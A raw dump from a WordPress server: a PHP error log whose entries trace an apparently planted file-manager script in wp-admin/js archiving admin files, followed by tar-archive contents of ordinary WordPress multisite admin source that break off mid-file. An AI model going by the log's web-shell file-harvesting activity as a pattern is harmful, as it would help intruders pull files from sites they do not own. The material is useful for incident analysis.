[27-Jun-2025 05:29:18 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/custom-header.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[27-Jun-2025 05:34:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 05:42:42 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 06:14:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 06:27:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 06:33:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/js/edit-form-advanced.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/js/index.php:2068
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2068): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[27-Jun-2025 06:35:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 06:42:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 06:47:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/js/link-parse-opml.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/js/index.php:2068
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2068): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[27-Jun-2025 06:58:11 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/password-strength-meter.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[27-Jun-2025 07:05:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 07:06:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/js/load-scripts.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/js/index.php:2068
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2068): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[27-Jun-2025 07:24:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: Entry /home/natitnen/crestassured.com/wp-admin/js/widgets/media-gallery-widget.min.js does not exist and cannot be created: phar error: unable to create temporary file in /home/natitnen/crestassured.com/wp-admin/js/index.php:2066
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2066): PharData->addFile()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2066
[27-Jun-2025 07:26:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: Entry /home/natitnen/crestassured.com/wp-admin/js/widgets/text-widgets.min.js does not exist and cannot be created: phar error: unable to create temporary file in /home/natitnen/crestassured.com/wp-admin/js/index.php:2066
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2066): PharData->addFile()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2066
[27-Jun-2025 08:15:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 08:41:21 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 09:39:01 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/application-passwords.min.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[27-Jun-2025 09:57:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/js/post-new.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/js/index.php:2068
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2068): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[27-Jun-2025 10:27:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/js/options-discussion.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/js/index.php:2068
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(2068): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[27-Jun-2025 11:07:00 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/wp-admin/js/password-strength-meter.js.tar in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 282
[27-Jun-2025 13:00:17 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 13:01:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 13:25:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 13:59:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 14:50:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[27-Jun-2025 23:10:28 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 195
network.tar000064400000770000150276633110006755 0ustar00settings.php000064400000052720150276372420007133 0ustar00<?php
/**
 * Multisite network settings administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'manage_network_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Network Settings' );
$parent_file = 'settings.php';

// Handle network admin email change requests.
if ( ! empty( $_GET['network_admin_hash'] ) ) {
	$new_admin_details = get_site_option( 'network_admin_hash' );
	$redirect          = 'settings.php?updated=false';
	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details['hash'], $_GET['network_admin_hash'] ) && ! empty( $new_admin_details['newemail'] ) ) {
		update_site_option( 'admin_email', $new_admin_details['newemail'] );
		delete_site_option( 'network_admin_hash' );
		delete_site_option( 'new_admin_email' );
		$redirect = 'settings.php?updated=true';
	}
	wp_redirect( network_admin_url( $redirect ) );
	exit;
} elseif ( ! empty( $_GET['dismiss'] ) && 'new_network_admin_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss_new_network_admin_email' );
	delete_site_option( 'network_admin_hash' );
	delete_site_option( 'new_admin_email' );
	wp_redirect( network_admin_url( 'settings.php?updated=true' ) );
	exit;
}

add_action( 'admin_head', 'network_settings_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site&#8217;s options.' ) . '</p>' .
			'<p>' . __( 'Operational settings has fields for the network&#8217;s name and admin email.' ) . '</p>' .
			'<p>' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '</p>' .
			'<p>' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what&#8127;s put in the first post, page, comment, comment author, and comment URL.' ) . '</p>' .
			'<p>' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '</p>' .
			'<p>' . __( 'You can set the language, and WordPress will automatically download and install the translation files (available if your filesystem is writable).' ) . '</p>' .
			'<p>' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '</p>' .
			'<p>' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-settings-screen/">Documentation on Network Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

if ( $_POST ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	check_admin_referer( 'siteoptions' );

	$checked_options = array(
		'menu_items'                  => array(),
		'registrationnotification'    => 'no',
		'upload_space_check_disabled' => 1,
		'add_new_users'               => 0,
	);
	foreach ( $checked_options as $option_name => $option_unchecked_value ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			$_POST[ $option_name ] = $option_unchecked_value;
		}
	}

	$options = array(
		'registrationnotification',
		'registration',
		'add_new_users',
		'menu_items',
		'upload_space_check_disabled',
		'blog_upload_space',
		'upload_filetypes',
		'site_name',
		'first_post',
		'first_page',
		'first_comment',
		'first_comment_url',
		'first_comment_author',
		'welcome_email',
		'welcome_user_email',
		'fileupload_maxk',
		'illegal_names',
		'limited_email_domains',
		'banned_email_domains',
		'WPLANG',
		'new_admin_email',
		'first_comment_email',
	);

	// Handle translation installation.
	if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
		$language = wp_download_language_pack( $_POST['WPLANG'] );
		if ( $language ) {
			$_POST['WPLANG'] = $language;
		}
	}

	foreach ( $options as $option_name ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			continue;
		}
		$value = wp_unslash( $_POST[ $option_name ] );
		update_site_option( $option_name, $value );
	}

	/**
	 * Fires after the network options are updated.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'update_wpmu_options' );

	wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
	exit;
}

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_GET['updated'] ) ) {
	wp_admin_notice(
		__( 'Settings saved.' ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>
	<form method="post" action="settings.php" novalidate="novalidate">
		<?php wp_nonce_field( 'siteoptions' ); ?>
		<h2><?php _e( 'Operational Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><label for="site_name"><?php _e( 'Network Title' ); ?></label></th>
				<td>
					<input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( get_network()->site_name ); ?>" />
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ); ?></label></th>
				<td>
					<input name="new_admin_email" type="email" id="admin_email" aria-describedby="admin-email-desc" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ); ?>" />
					<p class="description" id="admin-email-desc">
						<?php _e( 'This address is used for admin purposes. If you change this, an email will be sent to your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
					</p>
					<?php
					$new_admin_email = get_site_option( 'new_admin_email' );
					if ( $new_admin_email && get_site_option( 'admin_email' ) !== $new_admin_email ) :
						$notice_message = sprintf(
							/* translators: %s: New network admin email. */
							__( 'There is a pending change of the network admin email to %s.' ),
							'<code>' . esc_html( $new_admin_email ) . '</code>'
						);

						$notice_message .= sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url( wp_nonce_url( network_admin_url( 'settings.php?dismiss=new_network_admin_email' ), 'dismiss_new_network_admin_email' ) ),
							__( 'Cancel' )
						);

						wp_admin_notice(
							$notice_message,
							array(
								'type'               => 'warning',
								'dismissible'        => true,
								'additional_classes' => array( 'inline' ),
							)
						);
					endif;
					?>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Registration Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Allow new registrations' ); ?></th>
				<?php
				if ( ! get_site_option( 'registration' ) ) {
					update_site_option( 'registration', 'none' );
				}
				$reg = get_site_option( 'registration' );
				?>
				<td>
					<fieldset>
					<legend class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'New registrations settings' );
						?>
					</legend>
					<label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none' ); ?> /> <?php _e( 'Registration is disabled' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user' ); ?> /> <?php _e( 'User accounts may be registered' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog' ); ?> /> <?php _e( 'Logged in users may register new sites' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all' ); ?> /> <?php _e( 'Both sites and user accounts can be registered' ); ?></label>
					<?php
					if ( is_subdomain_install() ) {
						echo '<p class="description">';
						printf(
							/* translators: 1: NOBLOGREDIRECT, 2: wp-config.php */
							__( 'If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.' ),
							'<code>NOBLOGREDIRECT</code>',
							'<code>wp-config.php</code>'
						);
						echo '</p>';
					}
					?>
					</fieldset>
				</td>
			</tr>

			<tr>
				<th scope="row"><?php _e( 'Registration notification' ); ?></th>
				<?php
				if ( ! get_site_option( 'registrationnotification' ) ) {
					update_site_option( 'registrationnotification', 'yes' );
				}
				?>
				<td>
					<label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ); ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account' ); ?></label>
				</td>
			</tr>

			<tr id="addnewusers">
				<th scope="row"><?php _e( 'Add New Users' ); ?></th>
				<td>
					<label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ); ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users &rarr; Add New" page' ); ?></label>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ); ?></label></th>
				<td>
					<?php
					$illegal_names = get_site_option( 'illegal_names' );

					if ( empty( $illegal_names ) ) {
						$illegal_names = '';
					} elseif ( is_array( $illegal_names ) ) {
						$illegal_names = implode( ' ', $illegal_names );
					}
					?>
					<input name="illegal_names" type="text" id="illegal_names" aria-describedby="illegal-names-desc" class="large-text" value="<?php echo esc_attr( $illegal_names ); ?>" size="45" />
					<p class="description" id="illegal-names-desc">
						<?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ); ?></label></th>
				<td>
					<?php
					$limited_email_domains = get_site_option( 'limited_email_domains' );

					if ( empty( $limited_email_domains ) ) {
						$limited_email_domains = '';
					} else {
						// Convert from an input field. Back-compat for WPMU < 1.0.
						$limited_email_domains = str_replace( ' ', "\n", $limited_email_domains );

						if ( is_array( $limited_email_domains ) ) {
							$limited_email_domains = implode( "\n", $limited_email_domains );
						}
					}
					?>
					<textarea name="limited_email_domains" id="limited_email_domains" aria-describedby="limited-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $limited_email_domains ); ?></textarea>
					<p class="description" id="limited-email-domains-desc">
						<?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="banned_email_domains"><?php _e( 'Banned Email Domains' ); ?></label></th>
				<td>
					<?php
					$banned_email_domains = get_site_option( 'banned_email_domains' );

					if ( empty( $banned_email_domains ) ) {
						$banned_email_domains = '';
					} elseif ( is_array( $banned_email_domains ) ) {
						$banned_email_domains = implode( "\n", $banned_email_domains );
					}
					?>
					<textarea name="banned_email_domains" id="banned_email_domains" aria-describedby="banned-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $banned_email_domains ); ?></textarea>
					<p class="description" id="banned-email-domains-desc">
						<?php _e( 'If you want to ban domains from site registrations. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

		</table>
		<h2><?php _e( 'New Site Settings' ); ?></h2>
		<table class="form-table" role="presentation">

			<tr>
				<th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ); ?></label></th>
				<td>
					<textarea name="welcome_email" id="welcome_email" aria-describedby="welcome-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_email' ) ); ?></textarea>
					<p class="description" id="welcome-email-desc">
						<?php _e( 'The welcome email sent to new site owners.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ); ?></label></th>
				<td>
					<textarea name="welcome_user_email" id="welcome_user_email" aria-describedby="welcome-user-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ); ?></textarea>
					<p class="description" id="welcome-user-email-desc">
						<?php _e( 'The welcome email sent to new users.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_post"><?php _e( 'First Post' ); ?></label></th>
				<td>
					<textarea name="first_post" id="first_post" aria-describedby="first-post-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_post' ) ); ?></textarea>
					<p class="description" id="first-post-desc">
						<?php _e( 'The first post on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_page"><?php _e( 'First Page' ); ?></label></th>
				<td>
					<textarea name="first_page" id="first_page" aria-describedby="first-page-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_page' ) ); ?></textarea>
					<p class="description" id="first-page-desc">
						<?php _e( 'The first page on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment"><?php _e( 'First Comment' ); ?></label></th>
				<td>
					<textarea name="first_comment" id="first_comment" aria-describedby="first-comment-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_comment' ) ); ?></textarea>
					<p class="description" id="first-comment-desc">
						<?php _e( 'The first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_author" id="first_comment_author" aria-describedby="first-comment-author-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_author' ) ); ?>" />
					<p class="description" id="first-comment-author-desc">
						<?php _e( 'The author of the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_email"><?php _e( 'First Comment Email' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_email" id="first_comment_email" aria-describedby="first-comment-email-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_email' ) ); ?>" />
					<p class="description" id="first-comment-email-desc">
						<?php _e( 'The email address of the first comment author on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_url" id="first_comment_url" aria-describedby="first-comment-url-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ); ?>" />
					<p class="description" id="first-comment-url-desc">
						<?php _e( 'The URL for the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Upload Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Site upload space' ); ?></th>
				<td>
					<label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( (bool) get_site_option( 'upload_space_check_disabled' ), false ); ?>/>
						<?php
						printf(
							/* translators: %s: Number of megabytes to limit uploads to. */
							__( 'Limit total size of files uploaded to %s MB' ),
							'</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" aria-describedby="blog-upload-space-desc" value="' . esc_attr( get_site_option( 'blog_upload_space', 100 ) ) . '" />'
						);
						?>
					</label><br />
					<p class="screen-reader-text" id="blog-upload-space-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in megabytes' );
						?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ); ?></label></th>
				<td>
					<input name="upload_filetypes" type="text" id="upload_filetypes" aria-describedby="upload-filetypes-desc" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); ?>" size="45" />
					<p class="description" id="upload-filetypes-desc">
						<?php _e( 'Allowed file types. Separate types by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ); ?></label></th>
				<td>
					<?php
						printf(
							/* translators: %s: File size in kilobytes. */
							__( '%s KB' ),
							'<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" aria-describedby="fileupload-maxk-desc" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />'
						);
						?>
					<p class="screen-reader-text" id="fileupload-maxk-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in kilobytes' );
						?>
					</p>
				</td>
			</tr>
		</table>

		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) {
			?>
			<h2><?php _e( 'Language Settings' ); ?></h2>
			<table class="form-table" role="presentation">
				<tr>
					<th><label for="WPLANG"><?php _e( 'Default Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label></th>
					<td>
						<?php
						$lang = get_site_option( 'WPLANG' );
						if ( ! in_array( $lang, $languages, true ) ) {
							$lang = '';
						}

						wp_dropdown_languages(
							array(
								'name'         => 'WPLANG',
								'id'           => 'WPLANG',
								'selected'     => $lang,
								'languages'    => $languages,
								'translations' => $translations,
								'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
							)
						);
						?>
					</td>
				</tr>
			</table>
			<?php
		}
		?>

		<?php
		$menu_perms = get_site_option( 'menu_items' );
		/**
		 * Filters available network-wide administration menu options.
		 *
		 * Options returned to this filter are output as individual checkboxes that, when selected,
		 * enable site administrator access to the specified administration menu in certain contexts.
		 *
		 * Adding options for specific menus here hinges on the appropriate checks and capabilities
		 * being in place in the site dashboard on the other side. For instance, when the single
		 * default option, 'plugins' is enabled, site administrators are granted access to the Plugins
		 * screen in their individual sites' dashboards.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $admin_menus Associative array of the menu items available.
		 */
		$menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) );

		if ( $menu_items ) :
			?>
			<h2><?php _e( 'Menu Settings' ); ?></h2>
			<table id="menu" class="form-table">
				<tr>
					<th scope="row"><?php _e( 'Enable administration menus' ); ?></th>
					<td>
						<?php
						echo '<fieldset><legend class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Enable menus' ) .
						'</legend>';

						foreach ( (array) $menu_items as $key => $val ) {
							echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[ $key ] ) ? checked( $menu_perms[ $key ], '1', false ) : '' ) . ' /> ' . esc_html( $val ) . '</label><br/>';
						}

						echo '</fieldset>';
						?>
					</td>
				</tr>
			</table>
			<?php
		endif;
		?>

		<?php
		/**
		 * Fires at the end of the Network Settings form, before the submit button.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_options' );
		?>
		<?php submit_button(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
update.php000064400000000702150276372420006546 0ustar00<?php
/**
 * Update/Install Plugin/Theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update.php';
privacy.php000064400000000371150276372420006743 0ustar00<?php
/**
 * Network Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.9.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/privacy.php';
theme-editor.php000064400000000410150276372420007646 0ustar00<?php
/**
 * Theme file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-editor.php';
user-edit.php000064400000000375150276372420007173 0ustar00<?php
/**
 * Edit user network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/user-edit.php';
site-settings.php000064400000012772150276372420010100 0ustar00<?php
/**
 * Edit Site Settings Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

